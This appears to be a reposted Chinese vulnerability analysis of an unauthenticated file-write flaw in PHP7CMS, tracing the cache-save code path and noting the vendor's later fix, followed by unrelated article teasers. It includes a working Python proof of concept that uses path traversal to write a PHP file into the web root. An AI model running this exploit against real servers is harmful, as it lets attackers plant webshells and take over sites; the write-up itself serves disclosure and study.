php7 cms,PHP7CMS 无条件前台GETSHELL

Version:2018-10-09

//最新版中以修复此漏洞

这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的。

[PHP] 纯文本查看 复制代码// php7cms/Core/Controllers/Api/Api.php

// 52~61 line

public function save_form_data() {

$rt = \Phpcmf\Service::L('cache')->init('file')->save(

\Phpcmf\Service::L('Input')->get('name'),

\Phpcmf\Service::L('Input')->post('data'),

7200

);

var_dump($rt);

exit;

}

调用了Cache类中 init 函数,参数分别为get(‘name’)和post(‘data’)。

[PHP] 纯文本查看 复制代码// php7cms/Fcms/Library/Cache.php

// 112~121 line

public function init($handler = '', $prefix = 'site-'.SITE_ID.'-') {

$config = new \Config\Cache();

$config->handler = 'file';

$config->prefix = $prefix;

!$config->prefix && $config->prefix = 'site-'.SITE_ID.'-';

$config->path = WRITEPATH.'caching/';

$cache = \Config\Services::cache($config, 0);

return $cache;

}

初始化缓存类,为prefix参数拼接字符串后直接无任何过滤直接传入CI框架的缓存类中,中间框架的执行流程就不在文章里写了。

直接看最后一步

[PHP] 纯文本查看 复制代码// php7cms/System/Cache/Handlers

// 107~125 line

public function save(string $key, $value, int $ttl = 60)

{

$key = $this->prefix . $key;

$contents = [

'time' => time(),

'ttl' => $ttl,

'data' => $value,

];

if ($this->writeFile($this->path . $key, serialize($contents)))

{

chmod($this->path . $key, 0640);

return true;

}

return false;

}

[PHP] 纯文本查看 复制代码//324~345 line

protected function writeFile($path, $data, $mode = 'wb')

{

if (($fp = @fopen($path, $mode)) === false)

{

return false;

}

flock($fp, LOCK_EX);

for ($result = $written = 0, $length = strlen($data); $written < $length; $written += $result)

{

if (($result = fwrite($fp, substr($data, $written))) === false)

{

break;

}

}

flock($fp, LOCK_UN);

fclose($fp);

return is_int($result);

}

直接写入到缓存目录中,其中并没有过滤”.”和”/”,可以跨目录写入。所以不需要考虑路由问题。

POC:

[PHP] 纯文本查看 复制代码from requests import post

postData = {

'data':'<?php phpinfo()?>'

}

postTest = post("http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php",data=postData)

8f3ff2fbfdd7c7c8339951a6542705fa.gif

-1.png (123.79 KB, 下载次数: 23)

2018-12-14 13:05 上传

新版修复:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

3.png (27.21 KB, 下载次数: 28)

2018-12-14 13:07 上传

首先给dr_safe_replace 参数增加了两个新的过滤条件 ” . “和 ” ‘ “,在原本漏洞出发点接收get值的时候用这个函数过滤。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

03.png (35.6 KB, 下载次数: 26)

2018-12-14 13:07 上传

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/557141.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

php服务器怎么设置cookie,php服务器如何清除浏览器cookie

php服务器清除浏览器cookie的方法&#xff1a;1、设置cookie的过期时间&#xff1b;2、设置cookie的值为空&#xff0c;代码为【setcookie($cookiename, ) setcookie($cookiename, NULL);】。php服务器清除浏览器cookie的方法&#xff1a;一、设置cookie的过期时间//将过期时间…

Java面试——RabbitMQ系列总结

1.RabbitMQ是什么&#xff1f; RabbitMQ是一款开源的&#xff0c;Erlang编写的&#xff0c;基于AMQP&#xff08;高级消息队列协议&#xff09;协议的消息中间件。 2.为什么要使用消息队列&#xff1f; 从本质上来说是因为互联网的快速发展&#xff0c;业务不断扩张&#xff0c…

php swoole udp,基于Swoole如何搭建UDP服务?

本节将会讲解如下2个问题&#xff1a;通过Swoole如何搭建UPD服务&#xff1f;对比TCP和UDP有什么不同&#xff1f;01通过Swoole如何搭建UPD服务新建一个文件命名为 udp_server.php&#xff0c;代码如下&#xff1a;在命令行执行如下命令就可以开启TCP服务&#xff1a;php udp_s…

SpringBoot引入本地jar包

1.引入本地jar包并通过maven打包成jar包 第一步&#xff1a;创建lib包&#xff0c;将所需的本地jar包导入 第二步&#xff1a;在pom文件中引导路径 <dependency><groupId>com.penn</groupId><artifactId>excleutil</artifactId><version&g…

php 物联网应用,蜂窝物联网的概念以及应用

所谓蜂窝物联网&#xff0c;就是蜂窝移动通信网物联网相结合的发展产物。如今蜂窝移动通信网络已经发展30多年了&#xff0c;高高的通信铁塔拔地而起&#xff0c;随处可见&#xff0c;比工业时代的烟囱可多多了&#xff0c;象征着辉煌的信息时代。蜂窝物联网建设原则 本期工程要…

python批量图片转pdf,用python 制作图片转pdf工具

最近因为想要看漫画&#xff0c;无奈下载的漫画是jpg的格式&#xff0c;网上的转换器还没一个好用的&#xff0c;于是乎就打算用python自己DIY一下&#xff1a;这里主要用了reportlab。开始打算随便写几行&#xff0c;结果为若干坑纠结了挺久&#xff0c;于是乎就想想干脆把代码…

大学本科 java教材,大学本科自学java之路——IO

大学本科自学java之路——IO大学本科自学java之路——IO我现在大三&#xff0c;大一&#xff0c;大二就是玩&#xff0c;现在大三准备考虑就业了&#xff0c;特写博客便于坚持自己学习一. 字节缓冲流的构造方法&#xff1a;BufferedOutputStream:该类实现缓冲输出流。 通过设置…

关于比较器Comparator排序时间的问题

​ 最近涉及一个需要按照时间排序的问题&#xff0c;由于在数据库层面order by太麻烦&#xff0c;所以就准备在代码层面解决&#xff0c;但是过程中遇到了一个很有意思的问题。 ​ 先介绍一下用的比较器的api&#xff1a; o1大于o2,则返回正数&#xff1b;o1等于o2,则返回0&…

Error running ‘transmission‘: Unable to open debugger port (127.0.0.1:52469): java.net.SocketExcepti

IDEA运行tomcat启动项目时报错。 开始还以为是这里的端口被占用的问题 然而实际上是tomcat的JMX端口的问题&#xff0c;将端口修改一下&#xff0c;就可以完美启动。 修改之后即可启动项目

synchronized 锁升级过程

synchronized 锁升级过程就是其优化的核心&#xff1a;偏向锁 -> 轻量级锁 -> 重量级锁 class Test{private static final Object object new Object(); public void test(){synchronized(object) {// do something } }}每个对象创建时都有各自的对象头&#…

java中数组遍历的三种方式

1.for循环遍历 通常遍历数组都是使用for循环来实现。遍历一维数组很简单&#xff0c;遍历二维数组需要使用双层for循环&#xff0c;通过数组的length属性可获得数组的长度。 2.Arrays工具类中toString静态方法遍历 利用Arrays工具类中的toString静态方法可以将一维数组转化为…

mysql中union 查询

mysql中union 查询 UNION ALL只是简单的将两个结果合并后就返回。这样&#xff0c;如果返回的两个结果集中有重复的数据&#xff0c;那么返回的结果集就会包含重复的数据了。 从效率上说&#xff0c;UNION ALL 要比UNION快很多&#xff0c;所以&#xff0c;如果可以确认合并的…

oracle内存表与临时表,Oracle 临时表之临时表空间组(TTG)

环境&#xff1a;sysORCL> select * from v$version;BANNER----------------------------------------------------------------Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - ProdPL/SQL Release 10.2.0.1.0 - ProductionCORE 10.2.0.1.0 Producti…

修改TOMCAT的JVM虚拟机内存大小几种方式

修改TOMCAT的JVM虚拟机内存大小几种方式 Tomcat默认可以使用的内存为128MB&#xff0c;在较大型的应用项目中&#xff0c;这点内存是不够的&#xff0c;需要调大。 经常会出现Java.lang.OutOfMemoryError: Java heap space 即JVM Heap溢出的错误。 对此有以下几种方法可以选…

HashMap原理深入理解

hashing(哈希法)的概念 散列法&#xff08;Hashing&#xff09;是一种将字符组成的字符串转换为固定长度&#xff08;一般是更短长度&#xff09;的数值或索引值的方法&#xff0c;称为散列法&#xff0c;也叫哈希法。由于通过更短的哈希值比用原始值进行数据库搜索更快&#…

HashMap的底层原理

一&#xff1a;HashMap的节点&#xff1a;HashMap是一个集合&#xff0c;键值对的集合,源码中每个节点用Node<K,V>表示 static class Node<K,V> implements Map.Entry<K,V> {final int hash;final K key;V value;Node<K,V> next;Node是一个内部类&…

hashMap 底层原理+LinkedHashMap 底层原理+常见面试题

1.源码 java1.7 hashMap 底层实现是数组链表 java1.8 对上面进行优化 数组链表红黑树 2.hashmap 是怎么保存数据的。 在hashmap 中有这样一个结构 Node implenets Map.entity{hashkeyvaluenext} 当我们向hashMap 中放入数据时&#xff0c;其实就是一个 Enity{keyvaue}在存之…

linux时间跳变影响,MONGO 集群 修改linux主机时间后的影响

生产环境是一主一从一仲裁3分片的集群&#xff0c;现在发现其中一个节点比当前时间大了好几天&#xff0c;后使用NTP将时间往回调整副本集上。原来时间是5月3日&#xff0c;当前是4月26日&#xff0c;对此进行了调整。[rootcwdtest1 bin]# dateFri May 3 13:20:31 CST 2019[ro…

xp下添加linux启动项,grub.cfg--XP+ Ubuntu10.04双系统安装后无XP启动项

问题描述&#xff1a;Ubuntu 10.04发布了&#xff0c;随即裸机安装了Windows XP &#xff0c;然后用U盘启动盘安装了Ubuntu 10.04,安装速度飞快(不到10分钟吧)&#xff0c;但是装上后发现在grub启动项里没有XP&#xff0c;郁闷了&#xff0c;花了几分钟终于解决了&#xff0c;呵…

HashMap 源码详细分析(JDK1.8)

1. 概述 本篇文章我们来聊聊大家日常开发中常用的一个集合类 - HashMap。HashMap 最早出现在 JDK 1.2中&#xff0c;底层基于散列算法实现。HashMap 允许 null 键和 null 值&#xff0c;在计算哈键的哈希值时&#xff0c;null 键哈希值为 0。HashMap 并不保证键值对的顺序&…